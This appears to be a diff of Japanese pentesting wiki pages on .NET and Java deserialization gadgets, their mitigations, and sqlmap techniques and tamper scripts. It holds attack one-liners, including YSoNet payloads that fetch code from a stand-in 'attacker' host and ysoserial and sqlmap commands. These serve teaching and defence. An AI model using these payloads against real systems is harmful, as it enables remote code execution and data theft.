[**dnSpy**](https://github.com/0xd4d/dnSpy) を使用すると、私たちが興味のあるクラスの**コードを検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> メソッド名**のコードを見ています。
|
||||
|
||||
@ -26,13 +26,13 @@
|
||||
|
||||
.png>)
|
||||
|
||||
コードの最後で `this.QueryWorke(null)` が呼び出されていることに注意してください。それが何を実行するのか見てみましょう:
|
||||
コードの最後で `this.QueryWorke(null)` が呼び出されていることに注意してください。これが何を実行するのか見てみましょう:
|
||||
|
||||
.png>)
|
||||
|
||||
これは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);`** を呼び出します。これは、**メソッドセットが呼び出される**行です。
|
||||
これは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);`** を呼び出します。これは**メソッドセットが呼び出される**行です。
|
||||
|
||||
_**MethodName**_ を設定するだけでそれが実行されることを確認したい場合は、このコードを実行できます:
|
||||
_**MethodName**_**を設定するだけで実行されることを確認したい場合は、このコードを実行できます:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -52,14 +52,14 @@ myODP.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
```
|
||||
注意: `System.Windows.Data`をロードするには、_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_を参照として追加する必要があります。
|
||||
注意: `System.Windows.Data`をロードするには、_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ を参照として追加する必要があります。
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
前のエクスプロイトを使用すると、**オブジェクト**が_**ObjectDataProvider**_インスタンスとして**デシリアライズされる**ケースがあります(例えば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトが`GetType`を使用してデシリアライズされました)。そのため、_ObjectDataProvider_インスタンスにラップされているオブジェクトの型については**知識がありません**(例えば`Process`)。DotNetNukeの脆弱性についての詳細は[こちら](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)で確認できます。
|
||||
前述のエクスプロイトを使用すると、**オブジェクト**が_**ObjectDataProvider**_インスタンスとして**デシリアライズされる**ケースがあります(例えば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトが`GetType`を使用してデシリアライズされました)。そのため、_ObjectDataProvider_インスタンスにラップされているオブジェクトの型(例えば`Process`)について**知識がありません**。DotNetNukeの脆弱性についての詳細は[こちら](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)で確認できます。
|
||||
|
||||
このクラスは、特定のインスタンスにカプセル化されたオブジェクトのオブジェクト型を**指定する**ことを可能にします。したがって、このクラスはソースオブジェクト(_ObjectDataProvider_)を新しいオブジェクト型にカプセル化し、必要なプロパティ(_ObjectDataProvider.MethodName_および_ObjectDataProvider.MethodParameters_)を提供するために使用できます。\
|
||||
これは、前述のケースのように非常に便利です。なぜなら、**_ObjectDataProvider**_を**_**ExpandedWrapper**_インスタンス内に**ラップ**し、**デシリアライズされたとき**にこのクラスが**_**OjectDataProvider**_オブジェクトを**作成**し、_**MethodName**_で示された**関数**を**実行**するからです。
|
||||
これは、前述のケースのように非常に便利です。なぜなら、**_ObjectDataProvider**_を**_**ExpandedWrapper**_インスタンス内に**ラップ**し、**デシリアライズされると**このクラスが**_**OjectDataProvider**_オブジェクトを**作成**し、_**MethodName**_で示された**関数**を**実行**するからです。
|
||||
|
||||
次のコードでこのラッパーを確認できます:
|
||||
```java
|
||||
@ -192,11 +192,11 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
|
||||
| ガジェットチェーン | キーアイデア / プリミティブ | 一般的なシリアライザー | YSoNet ワンライナー |
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | `DelegateSerializationHolder` レコードを破損させ、マテリアライズされた後にデリゲートが*任意の*攻撃者提供メソッド(例: `Process.Start`)を指すようにします | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` を悪用して、* .NET ≥4.8 タイプフィルタリングをバイパス*し、提供されたクラスの **コンストラクタ** を直接呼び出すか、C# ファイルをその場で **コンパイル** します | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **TypeConfuseDelegate** | `DelegateSerializationHolder` レコードを破損させ、マテリアライズされた後にデリゲートが*任意の*攻撃者提供のメソッド(例: `Process.Start`)を指すようにします | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` を悪用して、*NET ≥4.8 タイプフィルタリングをバイパス*し、提供されたクラスの **コンストラクタ** を直接呼び出すか、C# ファイルをその場で **コンパイル** します | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet` の **レガシー XML** 表現を利用して、`<ColumnMapping>` / `<DataType>` フィールドを埋めることで任意の型をインスタンス化します(オプションで `--spoofedAssembly` でアセンブリを偽装) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF 対応ランタイム (> .NET 5) でプロパティゲッターをチェーンし、`System.CodeDom.Compiler.CompilerResults` に到達した後、`-c` で提供された DLL を *コンパイル* または *ロード* します | `Json.NET` タイプなし, `MessagePack` タイプなし | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (レビュー) | WPF `System.Windows.Data.ObjectDataProvider` を使用して、制御された引数で任意の静的メソッドを呼び出します。YSoNet は悪意のある XAML をリモートでホストするための便利な `--xamlurl` バリアントを追加します | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **GetterCompilerResults** | WPF 対応のランタイム (> .NET 5) でプロパティゲッターをチェーンし、`System.CodeDom.Compiler.CompilerResults` に到達した後、`-c` で提供された DLL を *コンパイル* または *ロード* します | `Json.NET` タイプレス, `MessagePack` タイプレス | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (レビュー) | WPF `System.Windows.Data.ObjectDataProvider` を使用して、制御された引数で任意の静的メソッドを呼び出します。YSoNet は悪意のある XAML をリモートでホストする便利な `--xamlurl` バリアントを追加します | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` に `ScriptBlock` を埋め込み、PowerShell がオブジェクトをデシリアライズするときに実行されます | PowerShell リモーティング, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
@ -219,8 +219,8 @@ msbuild ysonet.sln -p:Configuration=Release
|
||||
コンパイルされた `ysonet.exe` は `ysonet/bin/Release/` にあります。
|
||||
|
||||
### 検出と強化
|
||||
* **検出** 予期しない `w3wp.exe`、`PowerShell.exe` の子プロセス、またはユーザー提供データを逆シリアル化するプロセス(例:`MessagePack`、`Json.NET`)。
|
||||
* レガシー `BinaryFormatter` / `NetDataContractSerializer` を削除できない場合は、常に **タイプフィルタリング** (`TypeFilterLevel` = *Full*、カスタム `SurrogateSelector`、`SerializationBinder`、*等*) を有効にし、強制します。
|
||||
* **予期しない** `w3wp.exe`、`PowerShell.exe`、またはユーザー提供データをデシリアライズするプロセス(例:`MessagePack`、`Json.NET`)の子プロセスを検出します。
|
||||
* レガシーの `BinaryFormatter` / `NetDataContractSerializer` を削除できない場合は、常に **タイプフィルタリング** (`TypeFilterLevel` = *Full*、カスタム `SurrogateSelector`、`SerializationBinder`、*など*) を有効にし、強制します。
|
||||
* 可能な限り **`System.Text.Json`** または **`DataContractJsonSerializer`** に移行し、ホワイトリストベースのコンバータを使用します。
|
||||
* 決して必要としないウェブプロセスで読み込まれることのない危険な WPF アセンブリ(`PresentationFramework`、`System.Workflow.*`)をブロックします。
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
## Serializable
|
||||
|
||||
Javaの`Serializable`インターフェース(`java.io.Serializable`)は、クラスが**シリアライズ**および**デシリアライズ**されるために実装しなければならないマーカーインターフェースです。Javaオブジェクトのシリアライズ(書き込み)は[`ObjectOutputStream`](http://tutorials.jenkov.com/java-io/objectoutputstream.html)を使用して行われ、デシリアライズ(読み込み)は[`ObjectInputStream`](http://tutorials.jenkov.com/java-io/objectinputstream.html)を使用して行われます。
|
||||
Javaの`Serializable`インターフェース(`java.io.Serializable`)は、**シリアライズ**および**デシリアライズ**を行うためにクラスが実装しなければならないマーカーインターフェースです。Javaオブジェクトのシリアライズ(書き込み)は[`ObjectOutputStream`](http://tutorials.jenkov.com/java-io/objectoutputstream.html)を使用して行われ、デシリアライズ(読み込み)は[`ObjectInputStream`](http://tutorials.jenkov.com/java-io/objectinputstream.html)を使用して行われます。
|
||||
|
||||
### リマインダー: デシリアライズ中に暗黙的に呼び出されるメソッドはどれですか?
|
||||
|
||||
@ -16,7 +16,7 @@ Javaの`Serializable`インターフェース(`java.io.Serializable`)は、
|
||||
4. `readExternal()` – `Externalizable`を実装するクラス用。
|
||||
5. コンストラクタは**実行されません** – したがって、ガジェットチェーンは前のコールバックのみに依存します。
|
||||
|
||||
そのチェーン内のいずれかのメソッドが攻撃者が制御するデータ(コマンド実行、JNDIルックアップ、リフレクションなど)を呼び出すと、デシリアライズルーチンはRCEガジェットに変わります。
|
||||
そのチェーン内の任意のメソッドが攻撃者が制御するデータ(コマンド実行、JNDIルックアップ、リフレクションなど)を呼び出すと、デシリアライズルーチンはRCEガジェットに変わります。
|
||||
|
||||
**シリアライズ可能な**クラス**Person**の例を見てみましょう。このクラスは**readObject**関数を**オーバーライド**しているため、この**クラス**の**任意のオブジェクト**が**デシリアライズ**されると、この**関数**が**実行**されます。\
|
||||
この例では、クラスPersonの**readObject**関数がペットの`eat()`関数を呼び出し、犬の`eat()`関数が(何らかの理由で)**calc.exe**を呼び出します。**この計算機を実行するためにPersonオブジェクトをシリアライズおよびデシリアライズする方法を見ていきます:**
|
||||
@ -94,24 +94,24 @@ payloadTest("test.ser");
|
||||
```
|
||||
### 結論 (クラシックシナリオ)
|
||||
|
||||
この非常に基本的な例からわかるように、ここでの「脆弱性」は、**readObject()** メソッドが **他の攻撃者制御コードを呼び出している** ために発生します。実際のガジェットチェーンでは、外部ライブラリ(Commons-Collections、Spring、Groovy、Rome、SnakeYAMLなど)に含まれる数千のクラスが悪用される可能性があり、攻撃者はコード実行を得るために *1つの* 到達可能なガジェットが必要です。
|
||||
この非常に基本的な例からわかるように、ここでの「脆弱性」は、**readObject()** メソッドが **他の攻撃者制御コードを呼び出している** ために発生します。実際のガジェットチェーンでは、外部ライブラリ(Commons-Collections、Spring、Groovy、Rome、SnakeYAML など)に含まれる数千のクラスが悪用される可能性があり、攻撃者はコード実行を得るために *1つの* 到達可能なガジェットが必要です。
|
||||
|
||||
---
|
||||
|
||||
## 2023-2025: Javaデシリアライズ攻撃の新しい動向
|
||||
## 2023-2025: Java デシリアライズ攻撃の新しい動向
|
||||
|
||||
* 2023 – CVE-2023-34040: `checkDeserExWhen*` フラグが有効な場合、Spring-Kafkaのエラーレコードヘッダーのデシリアライズにより、攻撃者が公開したトピックから任意のガジェット構築が可能になりました。3.0.10 / 2.9.11で修正済み。¹
|
||||
* 2023 – CVE-2023-36480: Aerospike Javaクライアントの信頼されたサーバー仮定が破られました – 悪意のあるサーバーの応答には、クライアントによってデシリアライズされたシリアライズされたペイロードが含まれていました → RCE。²
|
||||
* 2023 – CVE-2023-25581: `pac4j-core` ユーザープロファイル属性の解析が `{#sb64}` プレフィックス付きのBase64ブロブを受け入れ、`RestrictedObjectInputStream` にもかかわらずデシリアライズされました。4.0.0以上にアップグレードしてください。
|
||||
* 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (ポート10880) がXMLエンコードされたJavaオブジェクトを受け入れ、root/SYSTEMとしてRCEを引き起こしました。
|
||||
* 2024 – Hibernate5、TomcatEmbed、SnakeYAML 2.xクラスを含む新しいガジェットチェーンがysoserial-plus(mod)に追加され、いくつかの古いフィルターをバイパスしました。
|
||||
* 2023 – CVE-2023-34040: `checkDeserExWhen*` フラグが有効な場合、Spring-Kafka のエラーレコードヘッダーのデシリアライズにより、攻撃者が公開したトピックから任意のガジェット構築が可能になりました。3.0.10 / 2.9.11 で修正済み。¹
|
||||
* 2023 – CVE-2023-36480: Aerospike Java クライアントの信頼されたサーバー仮定が破られ、悪意のあるサーバーの応答にはクライアントによってデシリアライズされるシリアライズされたペイロードが含まれていました → RCE。²
|
||||
* 2023 – CVE-2023-25581: `pac4j-core` ユーザープロファイル属性の解析が `{#sb64}` プレフィックス付きの Base64 ブロブを受け入れ、`RestrictedObjectInputStream` にもかかわらずデシリアライズされました。4.0.0 以上にアップグレードしてください。
|
||||
* 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (ポート 10880) が XML エンコードされた Java オブジェクトを受け入れ、root/SYSTEM として RCE に至りました。
|
||||
* 2024 – Hibernate5、TomcatEmbed、SnakeYAML 2.x クラスを含む新しいガジェットチェーンが ysoserial-plus(mod) に追加され、いくつかの古いフィルターをバイパスしました。
|
||||
|
||||
## 現代の緩和策
|
||||
|
||||
1. **JEP 290 / シリアライズフィルタリング (Java 9+)**
|
||||
*クラスの許可リストまたは拒否リストを追加:*
|
||||
```bash
|
||||
# あなたのDTOとjava.baseのみを受け入れ、他はすべて拒否
|
||||
# あなたの DTO と java.base のみを受け入れ、他はすべて拒否
|
||||
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"
|
||||
```
|
||||
プログラム例:
|
||||
@ -119,29 +119,29 @@ payloadTest("test.ser");
|
||||
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
2. **JEP 415 (Java 17+) コンテキスト固有のフィルタファクトリ** – `BinaryOperator<ObjectInputFilter>` を使用して、実行コンテキストごとに異なるフィルタを適用します(例: RMI呼び出しごと、メッセージキュー消費者ごと)。
|
||||
3. **生の `ObjectInputStream` をネットワーク越しに公開しない** – コード実行セマンティクスのないJSON/バイナリエンコーディングを好む(`DefaultTyping`を無効にしたJackson、Protobuf、Avroなど)。
|
||||
2. **JEP 415 (Java 17+) コンテキスト固有のフィルタファクトリ** – `BinaryOperator<ObjectInputFilter>` を使用して、実行コンテキストごとに異なるフィルタを適用します(例: RMI 呼び出しごと、メッセージキューコンシューマごと)。
|
||||
3. **生の `ObjectInputStream` をネットワーク越しに公開しない** – コード実行セマンティクスのない JSON/Binary エンコーディングを好む(`DefaultTyping` を無効にした Jackson、Protobuf、Avro など)。
|
||||
4. **防御の深さの制限** – 最大配列長、深さ、参照を設定:
|
||||
```bash
|
||||
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
|
||||
```
|
||||
5. **継続的なガジェットスキャン** – `gadget-inspector` や `serialpwn-cli` などのツールをCIで実行し、危険なガジェットが到達可能になるとビルドを失敗させます。
|
||||
5. **継続的なガジェットスキャン** – `gadget-inspector` や `serialpwn-cli` などのツールを CI で実行し、危険なガジェットが到達可能になるとビルドを失敗させます。
|
||||
|
||||
## 更新されたツールチートシート (2024)
|
||||
|
||||
* `ysoserial-plus.jar` – 130以上のガジェットチェーンを持つコミュニティフォーク:
|
||||
* `ysoserial-plus.jar` – > 130 のガジェットチェーンを持つコミュニティフォーク:
|
||||
```bash
|
||||
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||||
```
|
||||
* `marshalsec` – JNDIガジェット生成のリファレンス(LDAP/RMI)として依然として有用。
|
||||
* `marshalsec` – JNDI ガジェット生成のリファレンスとして依然として有用 (LDAP/RMI)。
|
||||
* `gadget-probe` – ネットワークサービスに対する高速なブラックボックスガジェット発見。
|
||||
* `SerialSniffer` – `ObjectInputStream` によって読み取られるすべてのクラスを印刷するJVMTIエージェント(フィルタを作成するのに便利)。
|
||||
* `SerialSniffer` – `ObjectInputStream` によって読み取られるすべてのクラスを印刷する JVMTI エージェント(フィルタを作成するのに便利)。
|
||||
* **検出のヒント** – `-Djdk.serialDebug=true` (JDK 22+) を有効にして、フィルタの決定と拒否されたクラスをログに記録します。
|
||||
|
||||
## セキュアな `readObject()` 実装のためのクイックチェックリスト
|
||||
## 安全な `readObject()` 実装のためのクイックチェックリスト
|
||||
|
||||
1. メソッドを `private` にし、`@Serial` アノテーションを追加します(静的解析に役立ちます)。
|
||||
2. ユーザー提供のメソッドを呼び出したり、メソッド内でI/Oを行ったりしない – フィールドのみを読み取ります。
|
||||
2. ユーザー提供のメソッドを呼び出したり、メソッド内で I/O を行ったりしない – フィールドのみを読み取ります。
|
||||
3. 検証が必要な場合は、デシリアライズ後に `readObject()` の外で行います。
|
||||
4. `Externalizable` を実装し、デフォルトのシリアライズの代わりに明示的なフィールド読み取りを好みます。
|
||||
5. 内部サービスに対しても強化された `ObjectInputFilter` を登録します(妥協耐性のある設計)。
|
||||
|
@ -29,12 +29,12 @@
|
||||
| ------ | --------- | ----------- |
|
||||
| B | Boolean-based blind | 真偽条件を使用してデータを推測します |
|
||||
| E | Error-based | 詳細なDBMSエラーメッセージを利用して結果を抽出します |
|
||||
| U | UNION query | 同じチャネルを介してデータを取得するために `UNION SELECT` 文を注入します |
|
||||
| S | Stacked queries | `;` で区切られた追加の文を追加します |
|
||||
| T | Time-based blind | 注入を検出するために遅延(`SLEEP`, `WAITFOR`)に依存します |
|
||||
| Q | Inline / out-of-band | `LOAD_FILE()` やDNSのようなOOBチャネルなどの関数を使用します |
|
||||
| U | UNION query | 同じチャネルを介してデータを取得するために`UNION SELECT`文を注入します |
|
||||
| S | Stacked queries | `;`で区切られた追加の文を追加します |
|
||||
| T | Time-based blind | 注入を検出するために遅延(`SLEEP`、`WAITFOR`)に依存します |
|
||||
| Q | Inline / out-of-band | `LOAD_FILE()`のような関数やDNSのようなOOBチャネルを使用します |
|
||||
|
||||
デフォルトの順序は `BEUSTQ` です。これらを並べ替えたり制限したりできます。例えば、BooleanとTime-basedのみをその順序で:
|
||||
デフォルトの順序は`BEUSTQ`です。これらを並べ替えたり制限したりできます。例えば、BooleanとTime-basedのみをその順序で:
|
||||
```bash
|
||||
sqlmap -u "http://target/?id=1" --technique="BT" --batch
|
||||
```
|
||||
@ -112,7 +112,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
||||
--crawl = how deep you want to crawl a site
|
||||
--forms = Parse and test forms
|
||||
```
|
||||
## インジェクションのカスタマイズ
|
||||
## カスタマイズされたインジェクション
|
||||
|
||||
### サフィックスを設定する
|
||||
```bash
|
||||
@ -155,13 +155,13 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
|
||||
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
|
||||
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
|
||||
| nonrecursivereplacement.py | 置換に適した定義済みSQLキーワードを置き換えます(例: .replace\("SELECT", ""\) フィルター)。 |
|
||||
| nonrecursivereplacement.py | 置換に適した定義済みSQLキーワードを置き換えます(例:.replace\("SELECT", ""\) フィルター)。 |
|
||||
| percentage.py | 各文字の前にパーセント記号 \('%'\) を追加します。 |
|
||||
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
|
||||
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
|
||||
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
|
||||
| securesphere.py | 特別に作成された文字列を追加します。 |
|
||||
| sp_password.py | ペイロードの末尾に 'sp_password' を追加し、DBMSログからの自動的な難読化を行います。 |
|
||||
| sp_password.py | ペイロードの末尾に 'sp_password' を追加し、DBMSログからの自動的な難読化を行います。 |
|
||||
| space2comment.py | スペース文字 \(' '\) をコメントに置き換えます。 |
|
||||
| space2dash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します。 |
|
||||
| space2hash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します。 |
|
||||
|
@ -33,7 +33,7 @@
|
||||
| E | Error-based | 詳細なDBMSエラーメッセージを利用してデータを抽出します |
|
||||
| U | UNION query | 同じチャネルを介してデータを取得するために`UNION SELECT`ステートメントを注入します |
|
||||
| S | Stacked queries | SQL区切り文字(`;`)で区切られた追加のステートメントを追加します |
|
||||
| T | Time-based blind | `SLEEP/WAITFOR`遅延に依存して注入可能な条件を検出します |
|
||||
| T | Time-based blind | 注入可能な条件を検出するために`SLEEP/WAITFOR`遅延に依存します |
|
||||
| Q | Inline / out-of-band | `LOAD_FILE()`やDNSエクスフィルトレーションなどの関数を利用してデータを抽出します |
|
||||
|
||||
sqlmapが従うデフォルトの順序は`BEUSTQ`(すべての技術)です。順序とサブセットの両方を変更できます。たとえば、次のコマンドは**のみ**UNIONクエリとTime-based blind技術を試み、最初にUNIONを試みます:
|
||||
@ -105,7 +105,7 @@ SQLiを見つけたがsqlmapが検出しなかった場合、`--prefix`や`--suf
|
||||
|
||||
### Eval
|
||||
|
||||
**Sqlmap**は、`-e`または`--eval`を使用して、ペイロードを送信する前に処理することを許可します。これにより、送信する前にペイロードをカスタム方法で非常に簡単かつ迅速に処理できます。次の例では、**flask cookie session** **は、送信する前に既知の秘密でflaskによって署名されています**:
|
||||
**Sqlmap**は、`-e`または`--eval`を使用して、ペイロードを送信する前に処理することを許可します。これにより、送信する前にペイロードをカスタム方式で非常に簡単かつ迅速に処理できます。次の例では、**flask cookie session** **は、送信する前に既知の秘密でflaskによって署名されています**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
@ -163,53 +163,51 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | アポストロフィ文字をそのUTF-8全幅の対応物に置き換えます。 |
|
||||
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応物に置き換えます。 |
|
||||
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 |
|
||||
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
|
||||
| between.py | 大なり演算子('>')を 'NOT BETWEEN 0 AND #' に置き換えます。 |
|
||||
| bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字 '=' をLIKE演算子に置き換えます。 |
|
||||
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||
| commalesslimit.py | 'LIMIT M, N' のようなインスタンスを 'LIMIT N OFFSET M' に置き換えます。 |
|
||||
| commalessmid.py | 'MID(A, B, C)' のようなインスタンスを 'MID(A FROM B FOR C)' に置き換えます。 |
|
||||
| concat2concatws.py | 'CONCAT(A, B)' のようなインスタンスを 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' に置き換えます。 |
|
||||
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "%u0022" |
|
||||
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "\u0022" |
|
||||
| equaltolike.py | 演算子等号('=')のすべての出現を演算子 'LIKE' に置き換えます。 |
|
||||
| escapequotes.py | クォート(' と ")をスラッシュでエスケープします。 |
|
||||
| greatest.py | 大なり演算子('>')を 'GREATEST' 対応物に置き換えます。 |
|
||||
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)' のようなインスタンスを 'IF(ISNULL(A), B, A)' に置き換えます。 |
|
||||
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
|
||||
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
|
||||
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
|
||||
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置き換えに適した表現に置き換えます(例:.replace("SELECT", "") フィルター)。 |
|
||||
| percentage.py | 各文字の前にパーセント記号('%')を追加します。 |
|
||||
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
|
||||
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
|
||||
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
|
||||
| securesphere.py | 特別に作成された文字列を追加します。 |
|
||||
| sp_password.py | ペイロードの末尾に 'sp_password' を追加し、DBMSログからの自動的な難読化を行います。 |
|
||||
| space2comment.py | スペース文字(' ')をコメントに置き換えます。 |
|
||||
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後に改行('\n')を追加します。 |
|
||||
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します。 |
|
||||
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 |
|
||||
| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応物(&&および)に置き換えます。 |
|
||||
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます。 |
|
||||
| unmagicquotes.py | クォート文字(')をマルチバイトコンボ %bf%27 に置き換え、最後に一般的なコメントを追加します(動作させるため)。 |
|
||||
| uppercase.py | 各キーワード文字を大文字の値 'INSERT' に置き換えます。 |
|
||||
| varnish.py | HTTPヘッダー 'X-originating-IP' を追加します。 |
|
||||
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||
| xforwardedfor.py | 偽のHTTPヘッダー 'X-Forwarded-For' を追加します。 |
|
||||
|
||||
| apostrophemask.py | アポストロフィ文字をそのUTF-8全幅の対応物に置き換えます。 |
|
||||
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応物に置き換えます。 |
|
||||
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 |
|
||||
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
|
||||
| between.py | 大なり演算子('>')を 'NOT BETWEEN 0 AND #' に置き換えます。 |
|
||||
| bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字 '=' をLIKE演算子に置き換えます。 |
|
||||
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||
| commalesslimit.py | 'LIMIT M, N' のようなインスタンスを 'LIMIT N OFFSET M' に置き換えます。 |
|
||||
| commalessmid.py | 'MID(A, B, C)' のようなインスタンスを 'MID(A FROM B FOR C)' に置き換えます。 |
|
||||
| concat2concatws.py | 'CONCAT(A, B)' のようなインスタンスを 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' に置き換えます。 |
|
||||
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "%u0022" |
|
||||
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "\u0022" |
|
||||
| equaltolike.py | 演算子等号('=')のすべての出現を演算子 'LIKE' に置き換えます。 |
|
||||
